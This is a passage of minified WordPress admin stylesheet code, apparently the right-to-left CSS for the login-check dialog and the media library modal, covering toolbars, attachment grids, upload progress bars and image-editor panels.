iframe{height:98%;width:100%}#wp-auth-check-wrap .wp-auth-check-close{position:absolute;top:5px;right:5px;height:22px;width:22px;color:#787c82;text-decoration:none;text-align:center}#wp-auth-check-wrap .wp-auth-check-close:before{content:"\f158";font:normal 20px/22px dashicons;speak:never;-webkit-font-smoothing:antialiased!important;-moz-osx-font-smoothing:grayscale}#wp-auth-check-wrap .wp-auth-check-close:focus,#wp-auth-check-wrap .wp-auth-check-close:hover{color:#2271b1}#wp-auth-check-wrap .wp-auth-fallback-expired{outline:0}#wp-auth-check-wrap .wp-auth-fallback{font-size:14px;line-height:1.5;padding:0 25px;display:none}#wp-auth-check-wrap.fallback .wp-auth-check-close,#wp-auth-check-wrap.fallback .wp-auth-fallback{display:block}/*! This file is auto-generated */
.media-modal *{box-sizing:content-box}.media-modal input,.media-modal select,.media-modal textarea{box-sizing:border-box}.media-frame,.media-modal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:12px;-webkit-overflow-scrolling:touch}.media-modal legend{padding:0;font-size:13px}.media-modal label{font-size:13px}.media-modal .legend-inline{position:absolute;transform:translate(100%,50%);margin-right:-1%;line-height:1.2}.media-frame a{border-bottom:none;color:#2271b1}.media-frame a:active,.media-frame a:hover{color:#135e96}.media-frame a:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-frame a.button{color:#2c3338}.media-frame a.button:hover{color:#1d2327}.media-frame a.button-primary,.media-frame a.button-primary:hover{color:#fff}.media-frame input,.media-frame textarea{padding:6px 8px}.media-frame select,.wp-admin .media-frame select{min-height:30px;vertical-align:middle}.media-frame input[type=color],.media-frame input[type=date],.media-frame input[type=datetime-local],.media-frame input[type=datetime],.media-frame input[type=email],.media-frame input[type=month],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=tel],.media-frame input[type=text],.media-frame input[type=time],.media-frame input[type=url],.media-frame input[type=week],.media-frame select,.media-frame textarea{box-shadow:0 0 0 transparent;border-radius:4px;border:1px solid #8c8f94;background-color:#fff;color:#2c3338;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.38461538}.media-frame input[type=date],.media-frame input[type=datetime-local],.media-frame input[type=datetime],.media-frame input[type=email],.media-frame input[type=month],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=tel],.media-frame input[type=text],.media-frame input[type=time],.media-frame input[type=url],.media-frame input[type=week]{padding:0 8px;line-height:2.15384615}.media-frame.mode-grid .wp-filter input[type=search]{font-size:14px;line-height:2}.media-frame input[type=email]:focus,.media-frame input[type=number]:focus,.media-frame input[type=password]:focus,.media-frame input[type=search]:focus,.media-frame input[type=text]:focus,.media-frame input[type=url]:focus,.media-frame select:focus,.media-frame textarea:focus{border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.media-frame input:disabled,.media-frame input[readonly],.media-frame textarea:disabled,.media-frame textarea[readonly]{background-color:#f0f0f1}.media-frame input[type=search]{-webkit-appearance:textfield}.media-frame ::-webkit-input-placeholder{color:#646970}.media-frame ::-moz-placeholder{color:#646970;opacity:1}.media-frame :-ms-input-placeholder{color:#646970}.media-frame .hidden,.media-frame .setting.hidden{display:none}/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */.ui-draggable-handle,.ui-sortable-handle{touch-action:none}.media-modal{position:fixed;top:30px;right:30px;left:30px;bottom:30px;z-index:160000}.wp-customizer .media-modal{z-index:560000}.media-modal-backdrop{position:fixed;top:0;right:0;left:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:159900}.wp-customizer .media-modal-backdrop{z-index:559900}.media-modal-close{position:absolute;top:0;left:0;width:50px;height:50px;margin:0;padding:0;border:1px solid transparent;background:0 0;color:#646970;z-index:1000;cursor:pointer;outline:0;transition:color .1s ease-in-out,background .1s ease-in-out}.media-modal-close:active,.media-modal-close:hover{color:#135e96}.media-modal-close:focus{color:#135e96;border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8);outline:2px solid transparent}.media-modal-close span.media-modal-icon{background-image:none}.media-modal-close .media-modal-icon:before{content:"\f158";font:normal 20px/1 dashicons;speak:never;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.media-modal-content{position:absolute;top:0;right:0;left:0;bottom:0;overflow:auto;min-height:300px;box-shadow:0 5px 15px rgba(0,0,0,.7);background:#fff;-webkit-font-smoothing:subpixel-antialiased}.media-modal-content .media-frame select.attachment-filters{margin-top:32px;margin-left:2%;width:42%;width:calc(48% - 12px)}.wp-core-ui .media-modal-icon{background-image:url(../images/uploader-icons.png);background-repeat:no-repeat}.media-toolbar{position:absolute;top:0;right:0;left:0;z-index:100;height:60px;padding:0 16px;border:0 solid #dcdcde;overflow:hidden}.media-frame-toolbar .media-toolbar{top:auto;bottom:-47px;height:auto;overflow:visible;border-top:1px solid #dcdcde}.media-toolbar-primary{float:left;height:100%;position:relative}.media-toolbar-secondary{float:right;height:100%}.media-toolbar-primary>.media-button,.media-toolbar-primary>.media-button-group{margin-right:10px;float:right;margin-top:15px}.media-toolbar-secondary>.media-button,.media-toolbar-secondary>.media-button-group{margin-left:10px;margin-top:15px}.media-sidebar{position:absolute;top:0;left:0;bottom:0;width:267px;padding:0 16px;z-index:75;background:#f6f7f7;border-right:1px solid #dcdcde;overflow:auto;-webkit-overflow-scrolling:touch}.media-sidebar::after{content:"";display:flex;clear:both;height:24px}.hide-toolbar .media-sidebar{bottom:0}.image-details .media-embed h2,.media-sidebar h2{position:relative;font-weight:600;text-transform:uppercase;font-size:12px;color:#646970;margin:24px 0 8px}.attachment-details .setting,.media-sidebar .setting{display:block;float:right;width:100%;margin:0 0 10px}.media-sidebar .collection-settings .setting{margin:1px 0}.attachment-details .setting.has-description,.media-sidebar .setting.has-description{margin-bottom:5px}.media-sidebar .setting .link-to-custom{margin:3px 2px 0}.attachment-details .setting .name,.attachment-details .setting span,.media-sidebar .setting .name,.media-sidebar .setting .value,.media-sidebar .setting span{min-width:30%;margin-left:4%;font-size:12px;text-align:left;word-wrap:break-word}.media-sidebar .setting .name{max-width:80px}.media-sidebar .setting .value{text-align:right}.media-sidebar .setting select{max-width:65%}.attachment-details .field input[type=checkbox],.attachment-details .field input[type=radio],.attachment-details .setting input[type=checkbox],.attachment-details .setting input[type=radio],.media-sidebar .field input[type=checkbox],.media-sidebar .field input[type=radio],.media-sidebar .setting input[type=checkbox],.media-sidebar .setting input[type=radio]{float:none;margin:8px 3px 0;padding:0}.attachment-details .setting .name,.attachment-details .setting .value,.attachment-details .setting span,.compat-item label span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting .name,.media-sidebar .setting .value,.media-sidebar .setting span{float:right;min-height:22px;padding-top:8px;line-height:1.33333333;font-weight:400;color:#646970}.media-sidebar .checkbox-label-inline{font-size:12px}.attachment-details .copy-to-clipboard-container,.media-sidebar .copy-to-clipboard-container{flex-wrap:wrap;margin-top:10px;margin-right:calc(35% - 1px);padding-top:10px}.attachment-details .attachment-info .copy-to-clipboard-container{float:none}.attachment-details .copy-to-clipboard-container .success,.media-sidebar .copy-to-clipboard-container .success{padding:0;min-height:0;line-height:2.18181818;text-align:right;color:#007017}.compat-item label span{text-align:left}.attachment-details .setting .value,.attachment-details .setting input[type=email],.attachment-details .setting input[type=number],.attachment-details .setting input[type=password],.attachment-details .setting input[type=search],.attachment-details .setting input[type=tel],.attachment-details .setting input[type=text],.attachment-details .setting input[type=url],.attachment-details .setting textarea,.attachment-details .setting+.description,.media-sidebar .setting .value,.media-sidebar .setting input[type=email],.media-sidebar .setting input[type=number],.media-sidebar .setting input[type=password],.media-sidebar .setting input[type=search],.media-sidebar .setting input[type=tel],.media-sidebar .setting input[type=text],.media-sidebar .setting input[type=url],.media-sidebar .setting textarea{box-sizing:border-box;margin:1px;width:65%;float:left}.attachment-details .setting .value,.attachment-details .setting+.description,.media-sidebar .setting .value{margin:0 1px;text-align:right}.attachment-details .setting+.description{clear:both;font-size:12px;font-style:normal;margin-bottom:10px}.attachment-details .setting textarea,.compat-item .field textarea,.media-sidebar .setting textarea{height:62px;resize:vertical}.alt-text textarea,.attachment-details .alt-text textarea,.compat-item .alt-text textarea,.media-sidebar .alt-text textarea{height:50px}.compat-item{float:right;width:100%;overflow:hidden}.compat-item table{width:100%;table-layout:fixed;border-spacing:0;border:0}.compat-item tr{padding:2px 0;display:block;overflow:hidden}.compat-item .field,.compat-item .label{display:block;margin:0;padding:0}.compat-item .label{min-width:30%;margin-left:4%;float:right;text-align:left}.compat-item .label span{display:block;width:100%}.compat-item .field{float:left;width:65%;margin:1px}.compat-item .field input[type=email],.compat-item .field input[type=number],.compat-item .field input[type=password],.compat-item .field input[type=search],.compat-item .field input[type=tel],.compat-item .field input[type=text],.compat-item .field input[type=url],.compat-item .field textarea{width:100%;margin:0;box-sizing:border-box}.sidebar-for-errors .attachment-details,.sidebar-for-errors .compat-item,.sidebar-for-errors .media-sidebar .media-progress-bar,.sidebar-for-errors .upload-details{display:none!important}.media-menu{position:absolute;top:0;right:0;left:0;bottom:0;margin:0;padding:50px 0 10px;background:#f6f7f7;border-left-width:1px;border-left-style:solid;border-left-color:#c3c4c7;-webkit-user-select:none;user-select:none}.media-menu .media-menu-item{display:block;box-sizing:border-box;width:100%;position:relative;border:0;margin:0;padding:8px 20px;font-size:14px;line-height:1.28571428;background:0 0;color:#2271b1;text-align:right;text-decoration:none;cursor:pointer}.media-menu .media-menu-item:hover{background:rgba(0,0,0,.04)}.media-menu .media-menu-item:active{color:#2271b1;outline:0}.media-menu .active,.media-menu .active:hover{color:#1d2327;font-weight:600}.media-menu .media-menu-item:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-menu .separator{height:0;margin:12px 20px;padding:0;border-top:1px solid #dcdcde}.media-router{position:relative;padding:0 6px;margin:0;clear:both}.media-router .media-menu-item{position:relative;float:right;border:0;margin:0;padding:8px 10px 9px;height:18px;line-height:1.28571428;font-size:14px;text-decoration:none;background:0 0;cursor:pointer;transition:none}.media-router .media-menu-item:last-child{border-left:0}.media-router .media-menu-item:active,.media-router .media-menu-item:hover{color:#2271b1}.media-router .active,.media-router .active:hover{color:#1d2327}.media-router .media-menu-item:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-router .active,.media-router .media-menu-item.active:last-child{margin:-1px -1px 0;background:#fff;border:1px solid #dcdcde;border-bottom:none}.media-router .active:after{display:none}.media-frame{overflow:hidden;position:absolute;top:0;right:0;left:0;bottom:0}.media-frame-menu{position:absolute;top:0;right:0;bottom:0;width:200px;z-index:150}.media-frame-title{position:absolute;top:0;right:200px;left:0;height:50px;z-index:200}.media-frame-router{position:absolute;top:50px;right:200px;left:0;height:36px;z-index:200}.media-frame-content{position:absolute;top:84px;right:200px;left:0;bottom:61px;height:auto;width:auto;margin:0;overflow:auto;background:#fff;border-top:1px solid #dcdcde}.media-frame-toolbar{position:absolute;right:200px;left:0;z-index:100;bottom:60px;height:auto}.media-frame.hide-menu .media-frame-content,.media-frame.hide-menu .media-frame-router,.media-frame.hide-menu .media-frame-title,.media-frame.hide-menu .media-frame-toolbar{right:0}.media-frame.hide-toolbar .media-frame-content{bottom:0}.media-frame.hide-router .media-frame-content{top:50px}.media-frame.hide-menu .media-frame-menu,.media-frame.hide-menu .media-frame-menu-heading,.media-frame.hide-router .media-frame-router,.media-frame.hide-toolbar .media-frame-toolbar{display:none}.media-frame-title h1{padding:0 16px;font-size:22px;line-height:2.27272727;margin:0}.media-attachments-filter-heading,.media-frame-menu-heading{position:absolute;right:20px;top:22px;margin:0;font-size:13px;line-height:1;z-index:151}.media-attachments-filter-heading{top:10px;right:16px}.mode-grid .media-attachments-filter-heading{top:0;right:-9999px}.mode-grid .media-frame-actions-heading{display:none}.wp-core-ui .button.media-frame-menu-toggle{display:none}.media-frame-title .suggested-dimensions{font-size:14px;float:left;margin-left:20px}.media-frame-content .crop-content{height:100%}.options-general-php .crop-content.site-icon,.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon{margin-left:300px}.media-frame-content .crop-content .crop-image{display:block;margin:auto;max-width:100%;max-height:100%}.media-frame-content .crop-content .upload-errors{position:absolute;width:300px;top:50%;right:50%;margin-right:-150px;margin-left:-150px;z-index:600000}.media-frame .media-iframe{overflow:hidden}.media-frame .media-iframe,.media-frame .media-iframe iframe{height:100%;width:100%;border:0}.media-frame select.attachment-filters{margin-top:11px;margin-left:2%;max-width:42%;max-width:calc(48% - 12px)}.media-frame select.attachment-filters:last-of-type{margin-left:0}.media-frame .search{margin:32px 0 0;padding:4px;font-size:13px;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;-webkit-appearance:none}.media-toolbar-primary .search{max-width:100%}.media-modal .media-frame .media-search-input-label{position:absolute;right:0;top:10px;margin:0;line-height:1}.wp-core-ui .attachments{margin:0;-webkit-overflow-scrolling:touch}.wp-core-ui .attachment{position:relative;float:right;padding:8px;margin:0;color:#3c434a;cursor:pointer;list-style:none;text-align:center;-webkit-user-select:none;user-select:none;width:25%;box-sizing:border-box}.wp-core-ui .attachment.details:focus,.wp-core-ui .attachment:focus,.wp-core-ui .selected.attachment:focus{box-shadow:inset 0 0 2px 3px #fff,inset 0 0 0 7px #4f94d4;outline:2px solid transparent;outline-offset:-6px}.wp-core-ui .selected.attachment{box-shadow:inset 0 0 0 5px #fff,inset 0 0 0 7px #c3c4c7}.wp-core-ui .attachment.details{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #2271b1}.wp-core-ui .attachment-preview{position:relative;box-shadow:inset 0 0 15px rgba(0,0,0,.1),inset 0 0 0 1px rgba(0,0,0,.05);background:#f0f0f1;cursor:pointer}.wp-core-ui .attachment-preview:before{content:"";display:block;padding-top:100%}.wp-core-ui .attachment .icon{margin:0 auto;overflow:hidden}.wp-core-ui .attachment .thumbnail{overflow:hidden;position:absolute;top:0;left:0;bottom:0;right:0;opacity:1;transition:opacity .1s}.wp-core-ui .attachment .portrait img{max-width:100%}.wp-core-ui .attachment .landscape img{max-height:100%}.wp-core-ui .attachment .thumbnail:after{content:"";display:block;position:absolute;top:0;right:0;left:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);overflow:hidden}.wp-core-ui .attachment .thumbnail img{top:0;right:0}.wp-core-ui .attachment .thumbnail .centered{position:absolute;top:0;right:0;width:100%;height:100%;transform:translate(-50%,50%)}.wp-core-ui .attachment .thumbnail .centered img{transform:translate(50%,-50%)}.wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon{transform:translate(50%,-70%)}.wp-core-ui .attachment .filename{position:absolute;right:0;left:0;bottom:0;overflow:hidden;max-height:100%;word-wrap:break-word;text-align:center;font-weight:600;background:rgba(255,255,255,.8);box-shadow:inset 0 0 0 1px rgba(0,0,0,.15)}.wp-core-ui .attachment .filename div{padding:5px 10px}.wp-core-ui .attachment .thumbnail img{position:absolute}.wp-core-ui .attachment-close{display:block;position:absolute;top:5px;left:5px;height:22px;width:22px;padding:0;background-color:#fff;background-position:-96px 4px;border-radius:3px;box-shadow:0 0 0 1px rgba(0,0,0,.3);transition:none}.wp-core-ui .attachment-close:focus,.wp-core-ui .attachment-close:hover{background-position:-36px 4px}.wp-core-ui .attachment .check{display:none;height:24px;width:24px;padding:0;border:0;position:absolute;z-index:10;top:0;left:0;outline:0;background:#f0f0f1;cursor:pointer;box-shadow:0 0 0 1px #fff,0 0 0 2px rgba(0,0,0,.15)}.wp-core-ui .attachment .check .media-modal-icon{display:block;background-position:-1px 0;height:15px;width:15px;margin:5px}.wp-core-ui .attachment .check:hover .media-modal-icon{background-position:-40px 0}.wp-core-ui .attachment.selected .check{display:block}.wp-core-ui .attachment.details .check,.wp-core-ui .attachment.selected .check:focus,.wp-core-ui .media-frame.mode-grid .attachment.selected .check{background-color:#2271b1;box-shadow:0 0 0 1px #fff,0 0 0 2px #2271b1}.wp-core-ui .attachment.selected .check:focus{outline:2px solid transparent}.wp-core-ui .attachment.details .check .media-modal-icon,.wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon{background-position:-21px 0}.wp-core-ui .attachment.details .check:hover .media-modal-icon,.wp-core-ui .attachment.selected .check:focus .media-modal-icon,.wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon{background-position:-60px 0}.wp-core-ui .media-frame .attachment .describe{position:relative;display:block;width:100%;margin:0;padding:0 8px;font-size:12px;border-radius:0}.media-frame .attachments-browser{position:relative;width:100%;height:100%;overflow:hidden}.attachments-browser .media-toolbar{left:300px;height:72px;background:#fff}.attachments-browser.hide-sidebar .media-toolbar{left:0}.attachments-browser .media-toolbar-primary>.media-button,.attachments-browser .media-toolbar-primary>.media-button-group,.attachments-browser .media-toolbar-secondary>.media-button,.attachments-browser .media-toolbar-secondary>.media-button-group{margin:10px 0}.attachments-browser .attachments{padding:2px 8px 8px}.attachments-browser .uploader-inline,.attachments-browser.has-load-more .attachments-wrapper,.attachments-browser:not(.has-load-more) .attachments{position:absolute;top:72px;right:0;left:300px;bottom:0;overflow:auto;outline:0}.attachments-browser .uploader-inline.hidden{display:none}.attachments-browser .media-toolbar-primary{max-width:33%}.mode-grid .attachments-browser .media-toolbar-primary{display:flex;align-items:center;column-gap:.5rem}.mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary{display:none}.attachments-browser .media-toolbar-secondary{max-width:66%}.uploader-inline .close{background-color:transparent;border:0;cursor:pointer;height:48px;outline:0;padding:0;position:absolute;left:2px;text-align:center;top:2px;width:48px;z-index:1}.uploader-inline .close:before{font:normal 30px/1 dashicons!important;color:#50575e;display:inline-block;content:"\f335";font-weight:300;margin-top:1px}.uploader-inline .close:focus{outline:1px solid #4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.attachments-browser.hide-sidebar .attachments,.attachments-browser.hide-sidebar .uploader-inline{left:0;margin-left:0}.attachments-browser .instructions{display:inline-block;margin-top:16px;line-height:1.38461538;font-size:13px;color:#646970}.attachments-browser .no-media{padding:2em 2em 0 0}.more-loaded .attachment:not(.found-media){background:#dcdcde}.load-more-wrapper{clear:both;display:flex;flex-wrap:wrap;align-items:center;justify-content:center;padding:1em 0}.load-more-wrapper .load-more-count{min-width:100%;margin:0 0 1em;text-align:center}.load-more-wrapper .load-more{margin:0}.media-frame .load-more-wrapper .load-more+.spinner{float:none;margin:0 10px 0 -30px}.media-frame .load-more-wrapper .load-more.hidden+.spinner{margin:0}.load-more-wrapper::after{content:"";min-width:100%;order:1}.load-more-wrapper .load-more-jump{margin:0 12px 0 0}.attachment.new-media{outline:2px dotted #c3c4c7}.load-more-wrapper{clear:both;display:flex;flex-wrap:wrap;align-items:center;justify-content:center;padding:1em 0}.load-more-wrapper .load-more-count{min-width:100%;margin:0 0 1em;text-align:center}.load-more-wrapper .load-more{margin:0}.media-frame .load-more-wrapper .load-more+.spinner{float:none;margin:0 10px 0 -30px}.media-frame .load-more-wrapper .load-more.hidden+.spinner{margin:0}.load-more-wrapper::after{content:"";min-width:100%;order:1}.load-more-wrapper .load-more-jump{margin:0 12px 0 0}.media-progress-bar{position:relative;height:10px;width:70%;margin:10px auto;border-radius:10px;background:#dcdcde;background:rgba(0,0,0,.1)}.media-progress-bar div{height:10px;min-width:20px;width:0;background:#2271b1;border-radius:10px;transition:width .3s}.media-uploader-status .media-progress-bar{display:none;width:100%}.uploading.media-uploader-status .media-progress-bar{display:block}.attachment-preview .media-progress-bar{position:absolute;top:50%;right:15%;width:70%;margin:-5px 0 0}.media-uploader-status{position:relative;margin:0 auto;padding-bottom:10px;max-width:400px}.uploader-inline .media-uploader-status h2{display:none}.media-uploader-status .upload-details{display:none;font-size:12px;color:#646970}.uploading.media-uploader-status .upload-details{display:block}.media-uploader-status .upload-detail-separator{padding:0 4px}.media-uploader-status .upload-count{color:#3c434a}.media-uploader-status .upload-dismiss-errors,.media-uploader-status .upload-errors{display:none}.errors.media-uploader-status .upload-dismiss-errors,.errors.media-uploader-status .upload-errors{display:block}.media-uploader-status .upload-dismiss-errors{transition:none;text-decoration:none}.upload-errors .upload-error{padding:12px;margin-bottom:12px;background:#fff;border-right:4px solid #d63638;box-shadow:0 1px 1px 0 rgba(0,0,0,.1)}.uploader-inline .upload-errors .upload-error{padding:12px 30px;background-color:#fcf0f1;box-shadow:none}.upload-errors .upload-error-filename{font-weight:600}.upload-errors .upload-error-message{display:block;padding-top:8px;word-wrap:break-word}.uploader-window,.wp-editor-wrap .uploader-editor{top:0;right:0;left:0;bottom:0;text-align:center;display:none}.uploader-window{position:fixed;z-index:250000;opacity:0;transition:opacity 250ms}.wp-editor-wrap .uploader-editor{position:absolute;z-index:99998;background:rgba(140,143,148,.9)}.uploader-window,.wp-editor-wrap .uploader-editor.droppable{background:rgba(10,75,120,.9)}.uploader-window-content,.wp-editor-wrap .uploader-editor-content{position:absolute;top:10px;right:10px;left:10px;bottom:10px;border:1px dashed #fff}.uploader-window .uploader-editor-title,.uploader-window h1,.wp-editor-wrap .uploader-editor .uploader-editor-title{position:absolute;top:50%;right:0;left:0;transform:translateY(-50%);font-size:3em;line-height:1.3;font-weight:600;color:#fff;margin:0;padding:0 10px}.wp-editor-wrap .uploader-editor .uploader-editor-title{display:none}.wp-editor-wrap .uploader-editor.droppable .uploader-editor-title{display:block}.uploader-window .media-progress-bar{margin-top:20px;max-width:300px;background:0 0;border-color:#fff;display:none}.uploader-window .media-progress-bar div{background:#fff}.uploading .uploader-window .media-progress-bar{display:block}.media-frame .uploader-inline{margin-bottom:20px;padding:0;text-align:center}.uploader-inline-content{position:absolute;top:30%;right:0;left:0}.uploader-inline-content .upload-ui{margin:2em 0}.uploader-inline-content .post-upload-ui{margin-bottom:2em}.uploader-inline .has-upload-message .upload-ui{margin:0 0 4em}.uploader-inline h2{font-size:20px;line-height:1.4;font-weight:400;margin:0}.uploader-inline .has-upload-message .upload-instructions{font-size:14px;color:#3c434a;font-weight:400}.uploader-inline .drop-instructions{display:none}.supports-drag-drop .uploader-inline .drop-instructions{display:block}.uploader-inline p{margin:.5em 0}.uploader-inline .media-progress-bar{display:none}.uploading.uploader-inline .media-progress-bar{display:block}.uploader-inline .browser{display:inline-block!important}.media-selection{position:absolute;top:0;right:0;left:350px;height:60px;padding:0 16px 0 0;overflow:hidden;white-space:nowrap}.media-selection .selection-info{display:inline-block;font-size:12px;height:60px;margin-left:10px;vertical-align:top}.media-selection.editing,.media-selection.empty{display:none}.media-selection.one .edit-selection{display:none}.media-selection .count{display:block;padding-top:12px;font-size:14px;line-height:1.42857142;font-weight:600}.media-selection .button-link{float:right;padding:1px 8px;margin:1px -8px 1px 8px;line-height:1.4;border-left:1px solid #dcdcde;color:#2271b1;text-decoration:none}.media-selection .button-link:focus,.media-selection .button-link:hover{color:#135e96}.media-selection .button-link:last-child{border-left:0;margin-left:0}.selection-info .clear-selection{color:#d63638}.selection-info .clear-selection:focus,.selection-info .clear-selection:hover{color:#d63638}.media-selection .selection-view{display:inline-block;vertical-align:top}.media-selection .attachments{display:inline-block;height:48px;margin:6px;padding:0;overflow:hidden;vertical-align:top}.media-selection .attachment{width:40px;padding:0;margin:4px}.media-selection .attachment .thumbnail{top:0;left:0;bottom:0;right:0}.media-selection .attachment .icon{width:50%}.media-selection .attachment-preview{box-shadow:none;background:0 0}.wp-core-ui .media-selection .attachment.details:focus,.wp-core-ui .media-selection .attachment:focus,.wp-core-ui .media-selection .selected.attachment:focus{box-shadow:0 0 0 1px #fff,0 0 2px 3px #4f94d4;outline:2px solid transparent}.wp-core-ui .media-selection .selected.attachment{box-shadow:none}.wp-core-ui .media-selection .attachment.details{box-shadow:0 0 0 1px #fff,0 0 0 3px #2271b1}.media-selection:after{content:"";display:block;position:absolute;top:0;left:0;bottom:0;width:25px;background-image:linear-gradient(to right,#fff,rgba(255,255,255,0))}.media-selection .attachment .filename{display:none}.media-frame .spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;float:left;display:inline-block;visibility:hidden;opacity:.7;width:20px;height:20px;margin:0;vertical-align:middle}.media-frame.mode-grid .spinner{margin:0;float:none;vertical-align:middle}.media-modal .media-toolbar .spinner{float:none;vertical-align:bottom;margin:0 5px 5px 0}.media-frame .instructions+.spinner.is-active{vertical-align:middle}.media-frame .spinner.is-active{visibility:visible}.attachment-details{position:relative;overflow:auto}.attachment-details .settings-save-status{float:left;text-transform:none;font-weight:400}.attachment-details .settings-save-status .spinner{float:none;margin-right:5px}.attachment-details .settings-save-status .saved{display:none}.attachment-details.save-waiting .settings-save-status .spinner{visibility:visible}.attachment-details.save-complete .settings-save-status .saved{display:inline-block}.attachment-info{overflow:hidden;min-height:60px;margin-bottom:16px;line-height:1.5;color:#646970;border-bottom:1px solid #dcdcde;padding-bottom:11px}.attachment-info .wp-media-wrapper{margin-bottom:8px}.attachment-info .wp-media-wrapper.wp-audio{margin-top:13px}.attachment-info .filename{font-weight:600;color:#3c434a;word-wrap:break-word}.attachment-info .thumbnail{position:relative;float:right;max-width:120px;max-height:120px;margin-top:5px;margin-left:10px;margin-bottom:5px}.uploading .attachment-info .thumbnail{width:120px;height:80px;box-shadow:inset 0 0 15px rgba(0,0,0,.1)}.uploading .attachment-info .media-progress-bar{margin-top:35px}.attachment-info .thumbnail-image:after{content:"";display:block;position:absolute;top:0;right:0;left:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.15);overflow:hidden}.attachment-info .thumbnail img{display:block;max-width:120px;max-height:120px;margin:0 auto}.attachment-info .details{float:right;font-size:12px;max-width:100%}.attachment-info .delete-attachment,.attachment-info .edit-attachment,.attachment-info .trash-attachment,.attachment-info .untrash-attachment{display:block;text-decoration:none;white-space:nowrap}.attachment-details.needs-refresh .attachment-info .edit-attachment{display:none}.attachment-info .edit-attachment{display:block}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment{display:inline;padding:0;color:#d63638}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover{color:#d63638}.attachment-display-settings{width:100%;float:right;overflow:hidden}.collection-settings{overflow:hidden}.collection-settings .setting input[type=checkbox]{float:right;margin-left:8px}.collection-settings .setting .name,.collection-settings .setting span{min-width:inherit}.media-modal .imgedit-wrap{position:static}.media-modal .imgedit-wrap .imgedit-panel-content{padding:16px 16px 0;overflow:visible}.media-modal .imgedit-wrap .imgedit-save-target{margin:8px 0 24px}.media-modal .imgedit-group{background:0 0;border:none;box-shadow:none;margin:0;padding:0;position:relative}.media-modal .imgedit-group.imgedit-panel-active{margin-bottom:16px;padding-bottom:16px}.media-modal .imgedit-group-top{margin:0}.media-modal .imgedit-group-top h2,.media-modal .imgedit-group-top h2 .button-link{display:inline-block;text-transform:uppercase;font-size:12px;color:#646970;margin:0;margin-top:3px}.media-modal .imgedit-group-top h2 .button-link,.media-modal .imgedit-group-top h2 a{text-decoration:none;color:#646970}.wp-core-ui.media-modal .image-editor .imgedit-help-toggle,.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active,.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover{border:1px solid transparent;margin:0;padding:0;background:0 0;color:#2271b1;font-size:20px;line-height:1;cursor:pointer;box-sizing:content-box;box-shadow:none}.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus{color:#2271b1;border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}.wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle{margin-top:-3px}.wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle{margin-top:-2px}.media-modal .imgedit-help-toggled span.dashicons:before{content:"\f142"}.media-modal .imgedit-thumbnail-preview{margin:10px 0 0 8px}.imgedit-thumbnail-preview-caption{display:block}.media-modal .imgedit-wrap .notice,.media-modal .imgedit-wrap div.updated{margin:0 16px}.embed-url{display:block;position:relative;padding:16px;margin:0;z-index:250;background:#fff;font-size:18px}.media-frame .embed-url input{font-size:18px;line-height:1.22222222;padding:12px 14px 12px 40px;width:100%;min-width:200px;box-shadow:inset -2px 2px 4px -2px rgba(0,0,0,.1)}.media-frame .embed-url input::-ms-clear{display:none}.media-frame .embed-url .spinner{position:absolute;top:32px;left:26px}.media-frame .embed-loading .embed-url .spinner{visibility:visible}.embed-link-settings,.embed-media-settings{position:absolute;top:82px;right:0;left:0;bottom:0;padding:0 16px;overflow:auto}.media-embed .embed-link-settings .link-text{margin-top:0}.embed-link-settings::after,.embed-media-settings::after{content:"";display:flex;clear:both;height:24px}.media-embed .embed-link-settings{overflow:visible}.embed-preview embed,.embed-preview iframe,.embed-preview img,.mejs-container video{max-width:100%;vertical-align:middle}.embed-preview a{display:inline-block}.embed-preview img{display:block;height:auto}.mejs-container:focus{outline:1px solid #2271b1;box-shadow:0 0 0 2px #2271b1}.image-details .media-modal{right:140px;left:140px}.image-details .media-frame-content,.image-details .media-frame-router,.image-details .media-frame-title{right:0}.image-details .embed-media-settings{top:0;overflow:visible;padding:0}.image-details .embed-media-settings::after{content:none}.image-details .embed-media-settings,.image-details .embed-media-settings div{box-sizing:border-box}.image-details 